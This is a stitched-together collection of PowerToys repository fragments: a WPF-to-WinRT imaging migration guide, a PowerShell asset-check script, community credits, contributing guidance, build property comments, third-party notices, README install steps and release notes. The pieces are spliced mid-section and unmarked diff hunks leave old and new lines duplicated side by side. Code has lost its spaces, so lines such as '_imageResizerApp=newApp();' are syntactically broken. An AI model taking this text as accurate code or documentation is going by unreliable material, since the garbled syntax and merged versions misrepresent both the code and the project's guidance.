Migrating from WPF (`System.Windows.Media.Imaging` / `PresentationCore.dll`) to WinRT (`Windows.Graphics.Imaging`). Based on the ImageResizer migration.
## Why This Migration Is Required
WinUI 3 apps deployed as self-contained do NOT include `PresentationCore.dll`. Any code using `System.Windows.Media.Imaging` will throw `FileNotFoundException` at runtime. ALL imaging code must use WinRT APIs.
This preserves backward compatibility with existing `settings.json` files that contain WPF-era GUIDs.
## ImagingEnums Pattern (from ImageResizer)
WPF-specific enums (`PngInterlaceOption`, `TiffCompressOption`) from `System.Windows.Media.Imaging` are used in settings JSON. Create custom enums with identical integer values for backward-compatible deserialization:
│ └── <Module>CLI.csproj # References Common, NOT UI
└── tests/
```
### Critical: CLI Dependency Pattern
**Do NOT** create `ProjectReference` from Exe to WinExe. This causes phantom build artifacts (`.exe`, `.deps.json`, `.runtimeconfig.json`) in the root output directory.
**Note**: Use the single-argument `ResourceLoader` constructor. The two-argument version (`ResourceLoader("file.pri", "path/Resources")`) may fail if the resource map path doesn't match the actual PRI structure.
Migration may strip UTF-8 BOM from C# files (`// Copyright` → `// Copyright`). This is cosmetic and safe, but be aware it will show as changes in diff.
---
## Test Adaptation
### Tests Requiring WPF Runtime
If tests still need WPF types (e.g., comparing old vs new output), temporarily add:
```xml
<UseWPF>true</UseWPF>
```
Remove this after fully migrating all test code to WinRT APIs.
### Tests Using ResourceLoader
Unit tests cannot easily initialize WinUI 3 `ResourceLoader`. Options:
- Hardcode expected strings in tests: `"Value must be between '{0}' and '{1}'."`
- Delete tests that only verify resource string lookup
- Avoid creating `App` instances in test harness (WinUI App cannot be instantiated in tests)
WPF modules often created `new App()` to initialize the WPF `Application` and get `Application.Current.Dispatcher`. This is no longer needed — the WinUI 3 `Application.Start()` handles this.
```csharp
// DELETE (WPF pattern):
_imageResizerApp=newApp();
// REPLACE with: Store DispatcherQueue explicitly (see Global DispatcherQueue Access above)
`ThemeResource` automatically updates when the app theme changes (Light/Dark/HighContrast). For truly dynamic non-theme resources, set values in code-behind or use data binding.
### x:Static Resource Strings → x:Uid
This is the most pervasive XAML change. WPF used `{x:Static}` to bind to strongly-typed `.resx` resource strings. WinUI 3 uses `x:Uid` with `.resw` files.
Write-Host-ForegroundColorRed"No directories detected in "$nonDirectoryAssetsItems". Are you sure this is the right path?`r`n"
Write-Host-ForegroundColorRed"ERROR: No directories detected in "$nonDirectoryAssetsItems". Are you sure this is the right path?`r`n"
$totalFailures++;
}elseif($nonDirectoryAssetsItems.Count-gt0){
Write-Host-ForegroundColorRed"Detected "$nonDirectoryAssetsItems" files in "$targetAssetsDir"`r`n"
Write-Host-ForegroundColorRed"ERROR: Detected "$nonDirectoryAssetsItems" files in "$targetAssetsDir". Each application should use a named subdirectory for assets.`r`n"
$totalFailures++;
}else{
Write-Host-ForegroundColorGreen"Only directories detected in "$targetAssetsDir"`r`n"
@@ -29,7 +29,7 @@ if ($directoryAssetsItems.Count -le 0) {
# Make sure there's no resources.pri file. Each application should use a different name for their own resources file path.
Write-Host-ForegroundColorRed"Detected a resources.pri file in "$targetDir"`r`n"
Write-Host-ForegroundColorRed"ERROR: Detected a resources.pri file in "$targetDir". Each application should use a unique name for its resources file.`r`n"
$totalFailures++;
}else{
Write-Host-ForegroundColorGreen"No resources.pri file detected in "$targetDir"`r`n"
@@ -38,7 +38,7 @@ if ($resourcesPriFiles.Count -gt 0) {
# Each application should have their XAML files in their own paths to avoid these conflicts.
Write-Host-ForegroundColorRed"Detected a .xbf file in "$targetDir"`r`n"
Write-Host-ForegroundColorRed"ERROR: Detected a .xbf file in "$targetDir". Ensure all XAML files are placed in a subdirectory in each application.`r`n"
$totalFailures++;
}else{
Write-Host-ForegroundColorGreen"No .xbf files detected in "$targetDir"`r`n"
The PowerToys team is extremely grateful to have the support of an amazing active community. The work you do is incredibly important. PowerToys wouldn’t be near what it is without your help filing bugs, updating documentation, guiding the design, or writing features. We want to say thanks and to recognize your work. This is a living document dedicated to highlighting the high impact community members and their contributions.
The PowerToys team is extremely grateful to have the support of an amazing active community. The work you do is incredibly important. PowerToys wouldn't be near what it is without your help filing bugs, updating documentation, guiding the design, or writing features. We want to say thanks and to recognize your work. This is a living document dedicated to highlighting the high impact community members and their contributions.
Names are in alphabetical order based on first name.
Names are in alphabetical order, based on first name.
Heiko has helped triaging, discussing, and creating a substantial number of issues and contributed features/fixes to PowerToys.
### [@Jay-o-Way](https://github.com/Jay-o-Way) - Jay
Jay has helped triaging, discussing, creating a substantial number of issues and PRs.
### [@jefflord](https://github.com/Jjefflord) - Jeff Lord
Jeff added in multiple new features into Keyboard manager, such as key chord support and launching apps. He also contributed multiple features/fixes to PowerToys.
Jeff added multiple new features to Keyboard Manager, such as key chord support and launching apps. He also contributed multiple features/fixes to PowerToys.
Jiří has contributed a massive number of features and improvements to Command Palette, including drag & drop support, custom themes, Web Search enhancements, Remote Desktop extension fixes, and many UX improvements.
Michael contributed the [initial version](https://github.com/microsoft/PowerToys/issues/23216) of the Mouse Jump tool and [a number of updates](https://github.com/microsoft/PowerToys/pulls?q=is%3Apr+author%3Amikeclayton) based on his FancyMouse utility.
Noraa has helped triaging, discussing, and creating a substantial number of issues and contributed features/fixes. Noraa was the primary person for helping build the File Explorer preview pane handler for developer files.
### [@pedrolamas](https://github.com/pedrolamas/) - Pedro Lamas
Pedro helped create the thumbnail and File Explorer previewers for 3D files like STL and GCode. If you like 3D printing, these are very helpful.
Pedro helped create the thumbnail and File Explorer previewers for 3D files like STL and GCode. If you like 3D printing, these are very helpful.
Rafael has helped do the [upgrade from CppWinRT 1.x to 2.0](https://github.com/microsoft/PowerToys/issues/1907). He directly provided feedback to the CppWinRT team for bugs from this migration as well.
Rafael has helped do the [upgrade from CppWinRT 1.x to 2.0](https://github.com/microsoft/PowerToys/issues/1907). He directly provided feedback to the CppWinRT team for bugs from this migration as well.
### [@royvou](https://github.com/royvou)
Roy has helped out contributing multiple features to PowerToys Run
### [@ThiefZero](https://github.com/ThiefZero)
ThiefZero has helped out contributing a features to PowerToys Run such as the unit converter plugin
ThiefZero has helped contribute features to PowerToys Run, such as the unit converter plugin
Kayla was a former lead for PowerToys and helped create multiple utilities, maintained the GitHub repo, and collaborated with the community to improve the overall product
### [@oldnewthing](https://github.com/oldnewthing) - Raymond Chen
@@ -135,46 +162,48 @@ Find My Mouse is based on Raymond Chen's SuperSonar.
Crop And Lock is based on the original work of Robert Mikhayelyan, with Program Manager support from [@kevinguo305](https://github.com/kevinguo305) - Kevin Guo.
ZoomIt's Video Recording Session code is based on Robert Mikhayelyan's https://github.com/robmikh/capturevideosample code.
ZoomIt's Video Recording Session code is based on Robert Mikhayelyan's <https://github.com/robmikh/capturevideosample> code.
### Microsoft InVEST team
This amazing team helped PowerToys develop PowerToys Run and Keyboard manager as well as update our Settings to v2.@alekhyareddy28, @arjunbalgovind, @jyuwono@laviusmotileng-ms, @ryanbodrug-microsoft, @saahmedm, @somil55, @traies, @udit3333
This amazing team helped PowerToys develop PowerToys Run and Keyboard manager as well as update our Settings to v2. @alekhyareddy28, @arjunbalgovind, @jyuwono@laviusmotileng-ms, @ryanbodrug-microsoft, @saahmedm, @somil55, @traies, @udit3333
## Mouse Without Borders original contributors
*Project creator: Truong Do (Đỗ Đức Trường)*
Project creator: Truong Do (Đỗ Đức Trường)
Other contributors:
* Microsoft Garage: Quinn Hawkins, Michael Low, Joe Coplen, Nino Yuniardi, Gwyneth Marshall, David Andrews, Karen Luecking
* Peter Hauge - Visual Studio
* Bruce Dawson - Windows Fundamentals
* Alan Myrvold - Office Security
* Adrian Garside - WEX
* Scott Bradner - Surface
* Aleks Gershaft - Windows Azure
* Chinh Huynh - Windows Azure
* Long Nguyen - Data Center
* Triet Le - Cloud Engineering
* Luke Schoen - Excel
* Bao Nguyen - Bing
* Ross Nichols - Windows
* Ryan Baltazar - Windows
* Ed Essey - The Garage
* Mario Madden - The Garage
*Karthick Mahalingam - ACE
* Pooja Kamra - ACE
* Justin White - SA
* Chris Ransom - SA
* Mike Ricks - Red Team
* Randy Santossio - Surface
* Ashish Sen Jaswal - Device Health
* Zoltan Harmath - Security Tools
* Luciano Krigun - Security Products
* Jo Hemmerlein - Red Team
* Chris Johnson - Surface Hub
* Loren Ponten - Surface Hub
* Paul Schmitt - WWL
* And many other Users!
- Microsoft Garage: Quinn Hawkins, Michael Low, Joe Coplen, Nino Yuniardi, Gwyneth Marshall, David Andrews, Karen Luecking
Below is our guidance for reporting issues, proposing new features, and submitting contributions via Pull Requests (PRs). Our philosophy is to understand the problem and scenarios first, which is why we follow this pattern before work starts.
@@ -6,46 +6,46 @@ Below is our guidance for reporting issues, proposing new features, and submitti
2. There has been a conversation.
3. There is agreement on the problem, the fit for PowerToys, and the solution to the problem (implementation).
## Filing an Issue
## Filing an issue
**Importance of Filing an Issue First**
Please follow this rule to help eliminate wasted effort and frustration, and to ensure an efficient and effective use of everyone’s time:
Please follow this rule to help eliminate wasted effort and frustration, and to ensure an efficient and effective use of everyone's time:
> 👉 If you have a question, think you've discovered an issue, or would like to propose a new feature, please find/file an issue **BEFORE** starting work to fix/implement it.
When requesting new features or enhancements, providing additional evidence, data, tweets, blog posts, or research is extremely helpful. This information gives context to the scenario that may otherwise be lost.
* Unsure whether it’s an issue or feature request? File an issue.
* Have a question that isn't answered in the docs, videos, etc.? File an issue.
* Want to know if we’re planning a particular feature? File an issue.
* Got a great idea for a new utility or feature? File an issue/request/idea.
* Don’t understand how to do something? File an issue/Community Guidance Request.
* Found an existing issue that describes yours? Great! Upvote and add additional commentary, info, or repro steps.
- Unsure whether it's an issue or feature request? File an issue.
- Have a question that isn't answered in the docs, videos, etc.? File an issue.
- Want to know if we're planning a particular feature? File an issue.
- Got a great idea for a new utility or feature? File an issue/request/idea.
- Don't understand how to do something? File an issue/Community Guidance Request.
- Found an existing issue that describes yours? Great! Upvote and add additional commentary, info, or repro steps.
A quick search before filing an issue could be helpful. It’s likely someone else has found the same problem, and they may even be working on or have already contributed a fix!
A quick search before filing an issue could be helpful. It's likely someone else has found the same problem, and they may even be working on or have already contributed a fix!
### Indicating Interest in Issues
### Indicating interest in issues
To let the team know which issues are important, upvote by clicking the [+😊] button and the 👍 icon on the original issue post. Avoid comments like "+1" or "me too" as they clutter the discussion and make it harder to prioritize requests.
---
## Contributing Fixes/Features
## Contributing fixes or features
Please comment on our ["Would you like to contribute to PowerToys?"](https://github.com/microsoft/PowerToys/issues/28769) thread to let us know you're interested in working on something before you start. This helps avoid multiple people unexpectedly working on the same thing and ensures everyone is clear on what should be done. It's less work for everyone to establish this up front.
Please comment on our [Would you like to contribute to PowerToys?](https://github.com/microsoft/PowerToys/issues/28769) thread to let us know you're interested in working on something before you start. This helps avoid multiple people unexpectedly working on the same thing and ensures everyone is clear on what should be done. It's less work for everyone to establish this up front.
### Localization Issues
### Localization issues
For localization issues, please file an issue to notify our internal localization team, as community PRs for localization aren't accepted. Localization is handled exclusively by the internal Microsoft team.
### To Spec or Not to Spec
### To spec or not to spec
A key point is for everyone to understand the approach that will be taken. We want to be sure that any work done will be accepted. Larger-scope items will require a spec to outline the approach and allow for discussion. Specs help collaborators consider different solutions, describe feature behavior, and plan for errors. Achieving agreement in a spec before writing code often results in simpler code and less wasted effort.
Once a team member has agreed with your approach, proceed to the "Development" section below. Team members are happy to help review specs and guide them to completion.
### Help Wanted
### Help wanted
Once the team has approved an issue/spec approach, development can proceed. If no developers are immediately available, the spec may be parked and labeled "Help Wanted," ready for a developer to get started. For development opportunities, visit [Issues labeled Help Wanted](https://github.com/microsoft/PowerToys/labels/Help%20Wanted).
@@ -55,18 +55,18 @@ Once the team has approved an issue/spec approach, development can proceed. If n
Follow the [development guidelines](https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md).
### Naming Features and Functionality
### Naming features and functionality
Names should be descriptive and straightforward, clearly reflecting functionality and usefulness.
### Becoming a Collaborator on the PowerToys Team
### Becoming a collaborator on the PowerToys team
Be an active community member! Make helpful contributions by filing bugs, offering suggestions, developing fixes and features, conducting code reviews, and updating documentation.
Be an active community member! Make helpful contributions by filing bugs, offering suggestions, developing fixes and features, conducting code reviews, and updating documentation.
When the time comes, Microsoft will reach out to you about becoming a formal team member. Just make sure they have a way to contact you. 😊
---
## Thank You
## Thank you
Thank you in advance for your contribution! We appreciate your help in making PowerToys a better tool for everyone.
<!-- Fail fast with an actionable message instead of opaque C1083 spdlog/spdlog.h errors. -->
<Target Name="PowerToysEnsureVcpkgAvailable"
BeforeTargets="PrepareForBuild"
Condition="'$(MSBuildProjectExtension)' == '.vcxproj' and '$(VcpkgEnabled)' == 'true' and !Exists('$(VcpkgRoot)\scripts\buildsystems\msbuild\vcpkg.props')">
<Error Text="PowerToys requires the 'vcpkg' Visual Studio component, but it was not found.%0A%0AOpen the Visual Studio Installer, click Modify on your VS install, search for 'vcpkg', enable 'C++ vcpkg package manager', and click Modify. (Visual Studio will also prompt you to install missing .vsconfig components when you open PowerToys.slnx.)%0A%0AIf you have vcpkg installed elsewhere, set the VCPKG_ROOT environment variable to its root before building.%0A%0ASearched: '$(VcpkgRoot)\scripts\buildsystems\msbuild\vcpkg.props'" />
Condition="'$(MSBuildProjectExtension)' == '.vcxproj' and '$(VcpkgEnabled)' == 'true' and Exists('$(VcpkgRoot)\scripts\buildsystems\msbuild\vcpkg.targets')" />
<Copyright>Copyright (C) Microsoft Corporation. All rights reserved.</Copyright>
<AssemblyCopyright>Copyright (C) Microsoft Corporation. All rights reserved.</AssemblyCopyright>
@@ -17,6 +20,24 @@
<NuGetAuditMode>direct</NuGetAuditMode>
<IncludeSourceRevisionInInformationalVersion>false</IncludeSourceRevisionInInformationalVersion> <!-- Don't add source revision hash to the product version of binaries. -->
<!-- dotnet.exe seems to access files after builds. Temporarily putting in this entry for testing if we get further. This looks to be related to a .NET Roslyn Analyzer in .NET 10-->
This repo uses a common output directory with many projects writing duplicate outputs. Allow everything, but note this costs some performance in the form of requiring
the cache to use copies instead of hardlinks when pulling from cache.
<!-- Including MessagePack to force version, since it's used by StreamJsonRpc but contains vulnerabilities. After StreamJsonRpc updates the version of MessagePack, we can upgrade StreamJsonRpc instead. -->
<!-- Package Microsoft.Win32.SystemEvents added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.1. This is a dependency of System.Drawing.Common but the 8.0.1 version wasn't published to nuget. -->
<!-- Package System.CodeDom added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.1. This is a dependency of System.Management but the 8.0.1 version wasn't published to nuget. -->
<!-- Package System.Data.SqlClient added to force it as a dependency of Microsoft.Windows.Compatibility to the latest version available at this time. -->
<!-- Package System.Diagnostics.EventLog added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.1. This is a dependency of System.Data.OleDb but the 8.0.1 version wasn't published to nuget. -->
<!-- Package System.Diagnostics.PerformanceCounter added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.11. -->
**Additional third party notifications:** https://github.com/microsoft/monaco-editor/blob/main/ThirdPartyNotices.txt
**Additional third party notifications:**<https://github.com/microsoft/monaco-editor/blob/main/ThirdPartyNotices.txt>
The MIT License (MIT)
@@ -207,9 +207,9 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
### The Quite OK Image Format reference decoder
### The Quite OK image format reference decoder
**Source**: https://github.com/phoboslab/qoi
**Source**: <https://github.com/phoboslab/qoi>
**Note**: [@pedrolamas](https://github.com/pedrolamas) translated and adapted the reference decoder code to C# that is in PowerToys from the original C++ implementation.
@@ -239,9 +239,9 @@ SOFTWARE.
We use the UTF.Unknown NuGet package for detecting encoding in text/code files.
**Additional third party notifications:** https://github.com/microsoft/monaco-editor/blob/main/ThirdPartyNotices.txt
**Additional third party notifications:**<https://github.com/microsoft/monaco-editor/blob/main/ThirdPartyNotices.txt>
The MIT License (MIT)
@@ -950,11 +950,11 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
### The Quite OK Image Format reference decoder
### The Quite OK image format reference decoder
**Source**: https://github.com/phoboslab/qoi
**Source**: <https://github.com/phoboslab/qoi>
**Note**: [@pedrolamas](https://github.com/pedrolamas) translated and adapted the reference decoder code to C# that is in PowerToys from the original C++ implementation.
**Note**: [@pedrolamas](https://github.com/pedrolamas) translated and adapted the reference decoder code to C# that is in PowerToys, from the original C++ implementation.
MIT License
@@ -978,13 +978,13 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
### UTF Unknown
### UTF unknown
We use the UTF.Unknown NuGet package for detecting encoding in text/code files.
For detailed installation instructions and system requirements, visit the [installation docs](https://learn.microsoft.com/windows/powertoys/install).
For detailed installation instructions and system requirements, visit the [installation docs](https://learn.microsoft.com/windows/powertoys/install).
But to get started quickly, choose one of the installation methods below:
<br/><br/>
<details open>
<summary><strong>Download .exe from GitHub</strong></summary>
<summary><strong>Download the .exe file from GitHub</strong></summary>
<br/>
Go to the <a href="https://aka.ms/installPowerToys">PowerToys GitHub releases</a>, click Assets to reveal the downloads, and choose the installer that matches your architecture and install scope. For most devices, that's the x64 per-user installer.
<!-- items that need to be updated release to release -->
Go to the [PowerToys GitHub releases](https://aka.ms/installPowerToys), scroll down and select **Assets** to reveal the installation files, and choose the one that matches your architecture and install scope. For most devices, that would be _x64 per-user_.
</details>
@@ -83,14 +67,16 @@ You can easily install PowerToys from the Microsoft Store:
<details>
<summary><strong>WinGet</strong></summary>
<br/>
Download PowerToys from <a href="https://github.com/microsoft/winget-cli#installing-the-client">WinGet</a>. Updating PowerToys via winget will respect the current PowerToys installation scope. To install PowerToys, run the following command from the command line / PowerShell:
Download PowerToys from [WinGet](https://github.com/microsoft/winget-cli#installing-the-client). Updating PowerToys via winget will respect the current PowerToys installation scope. To install PowerToys, run the following command from the command line / PowerShell:
There are <a href="https://learn.microsoft.com/windows/powertoys/install#community-driven-install-tools">community driven install methods</a> such as Chocolatey and Scoop. If these are your preferred install solutions, you can find the install instructions there.
There are [community driven install methods](https://learn.microsoft.com/windows/powertoys/install#community-driven-install-tools) such as Chocolatey and Scoop. If these are your preferred install solutions, you can find the install instructions there.
</details>
## ✨ What's new
**Version 0.97.1 (January 2026)**
## ✨ What's new?
This patch release fixes several important stability issues identified in v0.97.0 based on incoming reports. Check out the [v0.97.0](https://github.com/microsoft/PowerToys/releases/tag/v0.97.0) notes for the full list of changes.
[](https://github.com/microsoft/PowerToys/releases)
**Highlights**
To see what's new, check out the [release notes](https://github.com/microsoft/PowerToys/releases/).
### Advanced Paste
-#44862: Fixed Settings UI advanced paste page crash by using correct settings repository for null checking.
## 🛣️ Roadmap
### Command Palette
-#44886: Fixed personalization section not appearing by using latest MSIX for installation.
-#44938: Fixed loading of icons from internet shortcuts. Thanks [@jiripolasek](https://github.com/jiripolasek)!
-#45076: Fixed potential deadlock from lazy-loading AppListItem details. Thanks [@jiripolasek](https://github.com/jiripolasek)!
We are planning some nice new features and improvements for the next releases – a brand-new Shortcut Guide experience, ensuring it's easier to find and install Command Palette extensions and so much more! Stay tuned for [v0.100][github-next-release-work]!
### Cursor Wrap
-#44936: Added improved multi-monitor support; Added laptop lid close detection for dynamic monitor topology updates. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
-#44936: Added new settings dropdown to constrain wrapping to horizontal-only, vertical-only, or both directions. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
## ❤️ PowerToys Community
### Peek
-#44995: Fixed Space key triggering Peek during file rename, search, or address bar typing.
### PowerRename
-#44944: Fixed regex `$` not working, preventing users from adding text at the end of filenames.
### Runner
-#44931: Monochrome tray icon now adapts to Windows system theme instead of app theme.
-#44982: Fixed right-click menu to dynamically update based on Quick Access enabled/disabled state.
### GPO / Enterprise
-#45028: Added CursorWrap policy definition to ADMX templates. Thanks [@htcfreek](https://github.com/htcfreek)!
For the full list of v0.97 changes, visit the [Windows Command Line blog](https://aka.ms/powertoys-releaseblog).
## Advanced Paste
- Added hex color previews in clipboard history. Thanks [@crramirez](https://github.com/crramirez)!
- Added automatic placeholder endpoints when required fields are left empty.
- Fixed a grammar issue in the AI settings description. Thanks [@erik-anderson](https://github.com/erik-anderson)!
- Fixed loading order so custom action hotkeys are read correctly.
- Updated Advanced Paste descriptions to reflect support for online and local models.
- Fixed clipboard history item selection so it doesn’t duplicate entries.
- Prevented placeholder endpoints from being saved for providers that don’t need them.
- Added image input support for AI transforms and improved clipboard change tracking.
## Awake
- Fixed Awake CLI so help, errors, and logs appear correctly in the console. Thanks [@daverayment](https://github.com/daverayment)!
## Command Palette
- Fixed background image loading in BlurImageControl. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Fixed SDK packaging paths and added a CI SDK build stage.
- Aligned naming and spell-checking with .NET conventions. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added drag-and-drop support for Command Palette items. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a PowerToys Command Palette extension to discover and launch PowerToys utilities.
- Fixed grid view bindings and layout issues. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Fixed a line-break issue in RDC extension toast messages. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Made the Settings button text localizable. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Hid the RDC fallback on the home page and fixed MSTSC working directory handling. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Optimized result list merging for better performance. Thanks [@daverayment](https://github.com/daverayment)!
- Added Small/Medium/Large detail sizes in the extensions API. Thanks [@DevLGuilherme](https://github.com/DevLGuilherme)!
- Hid fallback commands on the home page when no query is entered. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added back navigation support in the Settings window. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a Command Palette solution filter. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Updated Extension SDK documentation links to Microsoft Learn. Thanks [@RubenFricke](https://github.com/RubenFricke)!
- Added a custom search engine URL setting for Web Search. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added pinyin matching for Chinese input. Thanks [@frg2089](https://github.com/frg2089)!
- Bumped Command Palette version to 0.8.
- Removed subtitles from built-in top-level commands. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Refined separator styling in the details pane. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a built-in Remote Desktop extension.
- Added a Peek command to the Indexer extension.
- Improved default browser detection using the Windows Shell API. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a FancyZones CLI for command-line layout management.
## File Locksmith
- Added a File Locksmith CLI for querying, waiting on, or killing file locks.
## Find My Mouse
- Improved spotlight edge rendering for clearer Find My Mouse visuals.
- Added telemetry to track how Find My Mouse is triggered.
## Image Resizer
- Fixed Fill mode cropping when Shrink Only is enabled. Thanks [@daverayment](https://github.com/daverayment)!
- Added a dedicated Image Resizer CLI for scripted resizing.
## Light Switch
- Added telemetry events for Light Switch usage and settings changes.
- Added a Follow Night Light mode to sync theme changes with Night Light.
- Clarified LightSwitchService and LightSwitchStateManager roles in docs.
- Added a Quick Access dashboard button to toggle Light Switch quickly.
- Ensured Light Switch honors GPO policy states with clear status messaging.
## Mouse Without Borders
- Continued refactoring Mouse Without Borders by splitting the large Common class into focused components. Thanks [@mikeclayton](https://github.com/mikeclayton)!
- Completed the Common class refactor with Core and IPC helper extraction. Thanks [@mikeclayton](https://github.com/mikeclayton)!
## Peek
- Hardened Peek previews with strict resource filtering and safer external link warnings.
- Improved SVG preview compatibility by rendering via WebView2.
## PowerRename
- Added HEIF/AVIF EXIF metadata extraction and extension status guidance for related previews.
- Fixed undefined behavior in file time handling. Thanks [@safocl](https://github.com/safocl)!
- Optimized memory allocation for depth-based rename processing.
- Fixed Unicode normalization and non‑breaking space matching. Thanks [@daverayment](https://github.com/daverayment)!
- Fixed date token replacements followed by capital letters. Thanks [@daverayment](https://github.com/daverayment)!
## PowerToys Run Plugins
- Fixed a plugin name typo and added Project Launcher to the third‑party list. Thanks [@artickc](https://github.com/artickc)!
- Added the Open With Antigravity plugin to the third‑party list. Thanks [@artickc](https://github.com/artickc)!
## PowerToys Run
- Avoided unnecessary hotkey conflict checks when settings change.
- Added QuickAI to the third-party PowerToys Run plugin list. Thanks [@ruslanlap](https://github.com/ruslanlap)!
## Quick Accent
- Added localized quotation marks to Quick Accent. Thanks [@warquys](https://github.com/warquys)!
- Fixed duplicate and redundant characters in Quick Accent sets. Thanks [@noraa-junker](https://github.com/noraa-junker)!
- Fixed DPI positioning issues for Quick Accent on mixed-DPI setups. Thanks [@noraa-junker](https://github.com/noraa-junker)!
## Settings
- Added a new tray icon that adapts to theme changes. Thanks [@HO-COOH](https://github.com/HO-COOH)!
- Centralized module enable/disable logic for cleaner Settings UI updates.
- Simplified Settings utilities by removing ISettingsUtils/ISettingsPath interfaces. Thanks [@noraa-junker](https://github.com/noraa-junker)!
- Improved Settings UI consistency and disabled-state visuals.
- Added semantic headings to the Dashboard for better accessibility.
- Introduced Quick Access as a standalone host with updated Settings integration.
- Fixed Dashboard toggle flicker and sort menu checkmarks. Thanks [@daverayment](https://github.com/daverayment)!
- Added a global SettingsUtils singleton to reduce repeated initialization.
## Development
- Fixed broken devdocs links to the coding style guide. Thanks [@RubenFricke](https://github.com/RubenFricke)!
- Migrated main and installer solutions to .slnx for improved build tooling.
- Restored local installer builds after the WiX v5 upgrade with signing and versioning fixes.
- Added incremental review tooling and structured AI prompts for PR/issue reviews.
- Documented bot commands and cleaned up devdocs structure. Thanks [@noraa-junker](https://github.com/noraa-junker)!
- Updated WinAppSDK pipeline defaults to 1.8 and fixed restore handling.
- Updated the COMMUNITY list to reflect current roles.
- Maintained community member ordering and added a new entry.
- Re-enabled centralized PackageReference for native projects with VS auto-restore.
- Disabled MSBuild caching by default in CI to avoid build instability.
- Updated the latest WinAppSDK daily pipeline for split-dependency restores.
- Suppressed experimental build warnings and aligned WrapPanel stretch handling.
- Reordered the spell-check expect list for consistent automation.
- Migrated native projects to centralized PackageReference management.
- Cleaned spell-check dictionary entries and capitalization.
- Synced commit/PR prompts and wired VS Code to repo prompt files.
- Added VS Code build tasks and improved build script path handling.
- Updated Windows App SDK package versions in central package management.
- Migrated cmdpal extension native project to PackageReference and fixed outputs.
- Reverted PackageReference changes back to packages.config where needed.
- Bypassed a release version check for a failing DLL to keep pipelines green.
- Consolidated Copilot instructions and fixed prompt frontmatter.
- Added signing entries for new Quick Access binaries and CLI version metadata.
- Fixed install scope detection to avoid mixed per-user/per-machine installs.
- Added a Module Loader tool to quickly test PowerToys modules without full builds. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
- Added update telemetry to understand auto-update checks and downloads.
- Updated the telemetry package for new compliance requirements. Thanks [@carlos-zamora](https://github.com/carlos-zamora)!
- Documented missing telemetry events in DATA_AND_PRIVACY.
- Fixed UI test pipeline restores for .slnx solutions.
- Added UI automation coverage for Advanced Paste clipboard history flows.
- Stabilized FancyZones UI tests with more reliable selectors and screen recordings.
## 🛣️ Roadmap
We are planning some nice new features and improvements for the next releases – PowerDisplay, Command Palette improvements and a brand-new Shortcut Guide experience! Stay tuned for [v0.98][github-next-release-work]!
## ❤️ PowerToys Community
The PowerToys team is extremely grateful to have the [support of an amazing active community][community-link]. The work you do is incredibly important. PowerToys wouldn't be nearly what it is today without your help filing bugs, updating documentation, guiding the design, or writing features. We want to say thank you and take time to recognize your work. Your contributions and feedback improve PowerToys month after month!
## Contributing
This project welcomes contributions of all types. Besides coding features / bug fixes, other ways to assist include spec writing, design, documentation, and finding bugs. We are excited to work with the power user community to build a set of tools for helping you get the most out of Windows. We ask that **before you start work on a feature that you would like to contribute**, please read our [Contributor's Guide](CONTRIBUTING.md). We would be happy to work with you to figure out the best approach, provide guidance and mentorship throughout feature development, and help avoid any wasted or duplicate effort. Most contributions require you to agree to a [Contributor License Agreement (CLA)][oss-CLA] declaring that you grant us the rights to use your contribution and that you have permission to do so. For guidance on developing for PowerToys, please read the [developer docs](./doc/devdocs) for a detailed breakdown. This includes how to setup your computer to compile.
## Contributing
## Code of Conduct
This project has adopted the [Microsoft Open Source Code of Conduct][oss-conduct-code].
This project welcomes contributions of all types. Besides coding features / bug fixes, other ways to assist include spec writing, design, documentation, and finding bugs. We are excited to work with the power user community to build a set of tools for helping you get the most out of Windows. We ask that **before you start work on a feature that you would like to contribute**, please read our [Contributor's Guide](CONTRIBUTING.md). We would be happy to work with you to figure out the best approach, provide guidance and mentorship throughout feature development, and help avoid any wasted or duplicate effort. Most contributions require you to agree to a [Contributor License Agreement (CLA)][oss-CLA] declaring that you grant us the rights to use your contribution and that you have permission to do so. For guidance on developing for PowerToys, please read the [developer docs](./doc/devdocs) for a detailed breakdown. This includes how to setup your computer to compile.
## Privacy Statement
The application logs basic diagnostic data (telemetry). For more privacy information and what we collect, see our [PowerToys Data and Privacy documentation](https://aka.ms/powertoys-data-and-privacy-documentation).
This project has adopted the [Microsoft Open Source Code of Conduct][oss-conduct-code].
## Privacy statement
The application logs basic diagnostic data (telemetry). For more privacy information and what we collect, see our [PowerToys Data and Privacy documentation](https://aka.ms/powertoys-data-and-privacy-documentation).
